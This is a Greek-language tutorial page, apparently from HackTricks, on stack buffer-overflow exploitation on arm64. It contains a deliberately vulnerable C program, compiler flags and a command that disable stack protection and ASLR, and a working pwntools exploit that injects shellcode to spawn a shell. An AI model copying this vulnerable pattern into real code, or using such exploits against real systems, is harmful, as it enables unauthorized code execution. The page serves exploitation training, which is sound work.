Stack Shellcode - arm64

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks στο AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

• Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!

• Αποκτήστε το επίσημο PEASS & HackTricks swag

• Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs

• Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.

Βρείτε μια εισαγωγή στο arm64 στο:

pageIntroduction to ARM64v8

Κώδικας

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Μεταγλώττιση χωρίς pie, canary και nx:

```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` ## Χωρίς ASLR & Χωρίς canary - Υπερχείλιση Στοίβας

Για να σταματήσετε το ASLR εκτελέστε:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Για να πάρετε το offset του bof ελέγξτε αυτό το link.

Exploit:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

Το μόνο "περίπλοκο" πράγμα που πρέπει να βρείτε εδώ είναι η διεύθυνση στο stack για να καλέσετε. Στην περίπτωσή μου δημιούργησα το exploit με τη διεύθυνση που βρέθηκε χρησιμοποιώντας το gdb, αλλά όταν προσπάθησα να το εκμεταλλευτώ δεν λειτούργησε (επειδή η διεύθυνση του stack άλλαξε λίγο).

Άνοιξα το δημιουργημένο αρχείο core (gdb ./bog ./core) και ελέγχθηκε η πραγματική διεύθυνση της έναρξης του shellcode.